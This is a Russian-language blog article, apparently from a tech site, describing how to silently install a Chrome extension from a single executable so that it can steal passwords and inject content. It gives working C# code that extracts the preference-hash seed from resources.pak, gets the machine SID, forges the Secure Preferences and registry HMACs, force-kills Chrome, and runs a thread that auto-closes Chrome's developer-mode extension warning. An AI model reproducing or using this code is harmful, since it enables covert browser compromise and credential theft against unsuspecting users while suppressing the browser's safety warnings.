
Доброго времени суток, дорогой читатель! Хром обновляется, но новых статей про то, как программно установить расширение в хром нет, помимо --load-extension — но это не наш вариант, ведь мы не ищем легких путей. Сегодня расскажу как действительно можно одним exe-шником получить всё: пароли, подменять контент, как можно совершить кражи и т.п. — но это не призыв к действию, а лишь статья для ознакомления. Весь сок под катом.
И так, что же позволяет нам делать расширение в режиме разработчика? Ну, как и обычное расширение оно может работать на всех сайтах, и, к примеру, тырить пароли, внедрять рекламу, и тп. Но расширение в режиме разработчика дает доступ еще к одной фиче, которая вроде не особо важна, но может стать полезной: у нас есть доступ к файловой системе. Да, мы собираемся запускать этот эксплоит из exe-файла и в принципе нам это не особо надо, а вдруг?
Анализируем файлы
И так, для начала можно посмотреть какие файлы будут отличатся после установки расширения, можем обнаружить, что это %appdata%\..\Local\Google\Chrome\User Data\<профиль>\Secure Preferences. Давайте скопируем содержимое, удалим расширение и восстановим копию — у тут бац! и расширение опять работатет. Глянув на ID можно увидеть, что меняются два значения с этим ключом: extensions.settings.id и protection.macs.extensions.settings.id — первый — настройки, второй — это какой-то хеш. Залезем в сорсы и увидим — это HMAC SHA256. Но от чего он его получает? Давайте залезем в отладчик, приаттачимся к хрому и подгрузим символы из
https://chromium-browser-symsrv.commondatastorage.googleapis.comНасилуем хром
Воу! Находим файл pref_hash_calculator.cc, качаем, ставим брейк на
std::string PrefHashCalculator::Calculate(const std::string& path, const base::Value* value) const
Оп — получаем seed_ — ключ для HMAC'а, и так же узнаем, что он конкатит три строчки и берет результат как HMACSHA256(device_id + path + value, seed_). Хорошо, давайте посмотрим на наш seed_ — и тут нас ждет первое огорчение: это просто строчка «ChromeRegistryHashStoreValidationSeed» — спросите, что же с ней не так? А давайте посмотрим на результат вычисления, сравним полученный хеш и хеш в файле по данному пути — разочаровываемся, но нет! Ключевое слово в ключе «Registry», лезем в реестр, смотрим — и действительно, это ключ для хешей в реестре, он нам понадобится.
Дебажим, дебажим, и везде только этот ключ, что не так? Теперь давайте глянем какой же длины должен быть стандартный клю�� для HMACSHA256? 64 байта, и скорее всего, это не строчка, а какой-то набор байт. Перебирать? Не успеем! Первое предположение — наш seed_ захардкожен в каждой версии хрома — давайте попробуем перебрать все варианты 64х последовательных байт в бинарниках и файлах хрома. Пишем простенький скрипт и примерно за час получаем первый результат: наш seed_ лежит в resources.pak. Давайте прогуглим структуру.

Version 4, у нас же — 5. Что-то не так, может, структура не поменялась? Но, нет. После некоторых попыток получаем, что структура такова: 4 байта version(5), 4 байта — кодировка?(1), 2 байта — количество записей, 2 байта непонятно что. Далее идут записи в формате: 2 байта — ID, 4 байта — смещение относительно начала файла. Ищем секцию длиной 64 байта — и да, находим её, это и есть наш seed_. Теперь давайте напишем функцию для поиска seed_ в resources.pak для файла 4й и 5й версии:
public static byte[] GetSeed(string resources_pak) { //Open stream using (FileStream fs = File.OpenRead(resources_pak)) using (BinaryReader reader = new BinaryReader(fs)) { // Read in all pairs. //4 bytes - Version (Assume, that is 5 or 4) int version = reader.ReadInt32(); int second_dword = reader.ReadInt32(); int count = 0; if (version == 0x05) { count = (reader.ReadUInt16()) + 1; reader.ReadUInt16(); } else { count = second_dword; //Skip useless byte reader.ReadByte(); } uint last_offset = (uint)(count) * 6 + (uint)fs.Position; for (int i = 0; i < count; i++) { //Word: ID uint id = (uint)reader.ReadInt16(); //DWord: Offset from file start uint offset = (reader.ReadUInt32()); //Assume, that seed_ is 64 bytes long if (offset - last_offset == 64) { //Save last position in file long last = fs.Position; //Go to section position fs.Seek(last_offset, SeekOrigin.Begin); //Allocate space uint want = offset - last_offset; byte[] u = new byte[want]; for (int o = 0; o < want; o++) u[o] = reader.ReadByte(); //Return carret back fs.Seek(last, SeekOrigin.Begin); return u; } last_offset = offset; } } return null; }
Окей, давайте поменяем настройки, и попробуем подменить хеш — неудача. Первое, что можно найти в сорсах хрома — из значения удаляются все пустые объекты. Окей, сказано — сделано.
Опять неудача — нам надо генерировать так же такой же HMACSHA256 от protection.macs, путь в данном случае надо опустить. Супер! Получили. Но, мы совсем забыли про device_id — где же его взять? В старых версиях — это MachineID из некоторой сторонней библиотеки RLZ. В новых — просто SID ПК. Как его получить? Для второго варианта и новых версий хрома:
public static string GetSID() { StringBuilder sb = new StringBuilder(260); int size = 260; GetComputerName(sb, ref size); byte[] Sid = null; uint cbSid = 0; string accountName = sb.ToString(); StringBuilder referencedDomainName = new StringBuilder(); uint cchReferencedDomainName = (uint)referencedDomainName.Capacity; SID_NAME_USE sidUse; int err = NO_ERROR; if (!LookupAccountName(null, accountName, Sid, ref cbSid, referencedDomainName, ref cchReferencedDomainName, out sidUse)) { err = Marshal.GetLastWin32Error(); if (err == ERROR_INSUFFICIENT_BUFFER || err == ERROR_INVALID_FLAGS) { Sid = new byte[cbSid]; referencedDomainName.EnsureCapacity((int)cchReferencedDomainName); err = NO_ERROR; if (!LookupAccountName(null, accountName, Sid, ref cbSid, referencedDomainName, ref cchReferencedDomainName, out sidUse)) err = Marshal.GetLastWin32Error(); } } else { // Consider throwing an exception since no result was found } if (err == 0) { if (!ConvertSidToStringSid(Sid, out IntPtr ptrSid)) { err = Marshal.GetLastWin32Error(); } else { string sidString = Marshal.PtrToStringAuto(ptrSid); LocalFree(ptrSid); return sidString; } } return null; }
И, для старого варианта:
public static string GetMachineId(string sid) { string dir = Environment.SystemDirectory; dir = dir.Substring(0, dir.IndexOf("\\") + 1); StringBuilder volname = new StringBuilder(261); StringBuilder fsname = new StringBuilder(261); uint sernum, maxlen; FileSystemFeature flags; if (!GetVolumeInformation(dir, volname, volname.Capacity, out sernum, out maxlen, out flags, fsname, fsname.Capacity)) Marshal.ThrowExceptionForHR(Marshal.GetHRForLastWin32Error()); byte[] sid_str = (Hash(sid)); byte[] bts = new byte[sid_str.Length + 4]; for (int i = 0; i < sid_str.Length; i++) bts[i] = sid_str[i]; for (int i = 0; i < sizeof(int); i++) { int shift_bits = 8 * (sizeof(int) - i - 1); bts[sid_str.Length + i] = (byte)((sernum >> shift_bits) & 0xFF); } byte b = Crc8.Gen(bts); var sb = new StringBuilder(bts.Length + 1); foreach (byte bb in bts) sb.Append(bb.ToString("X2")); sb.Append(b.ToString("X2")); return sb.ToString(); }
И так, остается подшаманить над настройками и сохранить файл, но при этом закрыв хром:
public static void Install() { string path = Unzip(); string id = ""; string flags = "" + ((1 << 7) | (1 << 2)); string loc = "4"; id = "dblokgoogmhjemeebajnamjdmloolcjd"; string setting = "тут ваши настройки"; preferences = SetValue(preferences, "extensions.settings." + id, setting.Replace("<", "\\u003C")); preferences = SetValue(preferences, "protection.macs.extensions.settings." + id, ComputeHash(seed_, "extensions.settings." + id, Serialize(JSONParser.ParseValue(typeof(object), setting)))); string abc = "HKEY_CURRENT_USER\\Software\\Google\\Chrome\\PreferenceMACs\\Default\\extensions.settings"; string reg_key = ComputeHash(Encoding.ASCII.GetBytes("ChromeRegistryHashStoreValidationSeed"), "extensions.settings." + id, Serialize(JSONParser.ParseValue(typeof(object), setting))); Registry.SetValue(abc, id, reg_key); string macs = GetSecure("protection.macs"); preferences = SetValue(preferences, "protection.super_mac", ComputeHash(seed_, "", macs)); Process process = new Process(); // Stop the process from opening a new window process.StartInfo.RedirectStandardOutput = true; process.StartInfo.UseShellExecute = false; process.StartInfo.CreateNoWindow = true; // Setup executable and parameters process.StartInfo.FileName = @"taskkill.exe"; process.StartInfo.Arguments = "/im chrome.exe /f"; // Go process.Start(); process.WaitForExit(); Thread.Sleep(150); File.WriteAllText(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\..\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences", preferences); }
Так же, заметим, что теперь при открытии браузера открывается окошечко «Отключение расширений в режиме разработчика» — как его закрыть — уже выбор каждого. Можно как я оставить поток после себя, который будет закрывать это окошечко через WinAPI:
public static void CheckWindows() { while (true) { Process[] pcs = Process.GetProcessesByName("chrome"); if (pcs.Length > 0) { List<IntPtr> ww = GetChildWindows(IntPtr.Zero); foreach (var hwnd in ww) { try { uint pidd = 0; GetWindowThreadProcessId(hwnd, out pidd); IntPtr pid = (IntPtr)pidd; IntPtr hProcess = OpenProcess(0x0410, false, pidd); StringBuilder text = new StringBuilder(1000); GetModuleFileNameEx(hProcess, IntPtr.Zero, text, text.Capacity); CloseHandle(hProcess); if (!text.ToString().EndsWith("chrome.exe")) continue; const int nChars = 256; StringBuilder Buff = new StringBuilder(nChars); if (GetWindowText(hwnd, Buff, nChars) > 0) { string name = Buff.ToString(); if (names.Contains(name)) SendMessage((IntPtr)hwnd, WM_CLOSE, IntPtr.Zero, IntPtr.Zero); } Thread.Sleep(1); } catch { } Thread.Sleep(1); } } else Thread.Sleep(10); } }
Удачи и этичного хакинга! Кто знает как провернуть такое же с Яндекс Браузером — было бы очень интересно узнать, уже неделю пытаюсь расковырять, не получается.
